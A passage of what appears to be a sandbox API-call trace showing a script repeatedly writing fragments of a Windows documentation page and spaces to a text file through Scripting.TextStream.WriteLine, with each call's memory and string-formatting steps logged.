Syntax in Windows Vista, 7, ...3 \"", _MaxCount=0x5b | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 0x0 [0148.345] wcscat_s (in: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _SizeInWords=0x79, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.345] wcsncpy_s (in: _Destination=0x249ca4d419a, _SizeInWords=0x76, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n", _MaxCount=0x75 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.345] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.345] free (_Block=0x249ca4d5de0) [0148.345] free (_Block=0x249c884aa00) [0148.345] free (_Block=0x249ca4d5ea0) [0148.345] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b670*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b670*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.345] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.345] SysReleaseString () returned 0x1 [0148.345] CoTaskMemFree (pv=0x249c8761700) [0148.345] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.345] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.346] CoTaskMemAlloc (cb=0x28) returned 0x249c8761b80 [0148.346] SysAddRefString () returned 0x0 [0148.346] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.346] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.346] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.346] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc87573e8, pBstrHelpFile=0x249c8758f60*="鹰졵ɉ") returned 0x0 [0148.346] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc86ef3c8, pBstrHelpFile=0x249c8758f60*="鹰졵ɉ") returned 0x0 [0148.346] malloc (_Size=0x8) returned 0x249c884aa00 [0148.346] malloc (_Size=0xb8) returned 0x249ca4d5de0 [0148.346] _snwprintf_s (in: _DstBuf=0x249ca4d5de0, _DstSizeInWords=0x5c, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 91 [0148.346] malloc (_Size=0xf2) returned 0x249ca4d5ea0 [0148.346] _snwprintf_s (in: _DstBuf=0x249ca4d5ea0, _DstSizeInWords=0x79, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.346] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x79, _Source="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _MaxCount=0x5b | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 0x0 [0148.346] wcscat_s (in: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _SizeInWords=0x79, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.346] wcsncpy_s (in: _Destination=0x249ca4d4286, _SizeInWords=0x76, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n", _MaxCount=0x75 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.346] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.346] free (_Block=0x249ca4d5de0) [0148.346] free (_Block=0x249c884aa00) [0148.346] free (_Block=0x249ca4d5ea0) [0148.346] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b6c8*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b6c8*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.476] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.476] SysReleaseString () returned 0x1 [0148.476] CoTaskMemFree (pv=0x249c8761b80) [0148.477] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.477] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.477] CoTaskMemAlloc (cb=0x28) returned 0x249c8761b80 [0148.477] SysAddRefString () returned 0x0 [0148.477] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.477] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.477] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.478] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc86ef3c8, pBstrHelpFile=0x249c8758f60*="꒰졵ɉ") returned 0x0 [0148.478] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc86eee28, pBstrHelpFile=0x249c8758f60*="꒰졵ɉ") returned 0x0 [0148.478] malloc (_Size=0x8) returned 0x249c884aa00 [0148.478] malloc (_Size=0x14) returned 0x249c884aaa0 [0148.478] _snwprintf_s (in: _DstBuf=0x249c884aaa0, _DstSizeInWords=0xa, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" \"") returned 9 [0148.478] malloc (_Size=0x4e) returned 0x249c884a540 [0148.478] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x27, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.478] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x27, _Source="\" \"", _MaxCount=0x9 | out: _Destination="ITextStream.WriteLine(\" \"") returned 0x0 [0148.478] wcscat_s (in: _Destination="ITextStream.WriteLine(\" \"", _SizeInWords=0x27, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.478] wcsncpy_s (in: _Destination=0x249ca4d4372, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\n", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.478] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.478] free (_Block=0x249c884aaa0) [0148.478] free (_Block=0x249c884aa00) [0148.478] free (_Block=0x249c884a540) [0148.478] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b720*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b720*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.478] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.478] SysReleaseString () returned 0x1 [0148.478] CoTaskMemFree (pv=0x249c8761b80) [0148.479] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.479] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.479] CoTaskMemAlloc (cb=0x28) returned 0x249c8761550 [0148.479] SysAddRefString () returned 0x0 [0148.479] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.479] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.479] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.479] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc86eee28, pBstrHelpFile=0x249c8758f60*="駰졵ɉ") returned 0x0 [0148.479] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc86ee7c8, pBstrHelpFile=0x249c8758f60*="駰졵ɉ") returned 0x0 [0148.479] malloc (_Size=0x8) returned 0x249c884aa00 [0148.479] malloc (_Size=0x72) returned 0x249c884a540 [0148.479] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x39, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" XP and is listed separately on this page. Synta \"") returned 56 [0148.479] malloc (_Size=0xac) returned 0x249ca4d5de0 [0148.479] _snwprintf_s (in: _DstBuf=0x249ca4d5de0, _DstSizeInWords=0x56, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.479] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x56, _Source="\" XP and is listed separately on this page. Synta \"", _MaxCount=0x38 | out: _Destination="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \"") returned 0x0 [0148.480] wcscat_s (in: _Destination="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \"", _SizeInWords=0x56, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\n") returned 0x0 [0148.480] wcsncpy_s (in: _Destination=0x249ca4d43ba, _SizeInWords=0x53, _Source="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\n", _MaxCount=0x52 | out: _Destination="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\n") returned 0x0 [0148.480] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.480] free (_Block=0x249c884a540) [0148.480] free (_Block=0x249c884aa00) [0148.480] free (_Block=0x249ca4d5de0) [0148.480] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b778*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" XP and is listed separately on this page. Synta ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b778*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" XP and is listed separately on this page. Synta ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.480] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.480] SysReleaseString () returned 0x1 [0148.480] CoTaskMemFree (pv=0x249c8761550) [0148.480] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.480] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.481] CoTaskMemAlloc (cb=0x28) returned 0x249c87615e0 [0148.481] SysAddRefString () returned 0x0 [0148.481] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.481] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.481] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.481] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc86ee7c8, pBstrHelpFile=0x249c8758f60*="ꁰ졵ɉ") returned 0x0 [0148.481] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8755ea8, pBstrHelpFile=0x249c8758f60*="ꁰ졵ɉ") returned 0x0 [0148.481] malloc (_Size=0x8) returned 0x249c884aa00 [0148.481] malloc (_Size=0x14) returned 0x249ca447830 [0148.481] _snwprintf_s (in: _DstBuf=0x249ca447830, _DstSizeInWords=0xa, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" \"") returned 9 [0148.481] malloc (_Size=0x4e) returned 0x249c884a540 [0148.481] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x27, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.481] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x27, _Source="\" \"", _MaxCount=0x9 | out: _Destination="ITextStream.WriteLine(\" \"") returned 0x0 [0148.481] wcscat_s (in: _Destination="ITextStream.WriteLine(\" \"", _SizeInWords=0x27, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.481] wcsncpy_s (in: _Destination=0x249ca4d4460, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\n", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.481] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.481] free (_Block=0x249ca447830) [0148.481] free (_Block=0x249c884aa00) [0148.481] free (_Block=0x249c884a540) [0148.481] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b7d0*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b7d0*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.482] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.482] SysReleaseString () returned 0x1 [0148.482] CoTaskMemFree (pv=0x249c87615e0) [0148.482] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.482] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.482] CoTaskMemAlloc (cb=0x28) returned 0x249c8761b80 [0148.482] SysAddRefString () returned 0x0 [0148.482] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.482] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.482] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.482] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8755ea8, pBstrHelpFile=0x249c8758f60*="鹰졵ɉ") returned 0x0 [0148.482] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc86ee828, 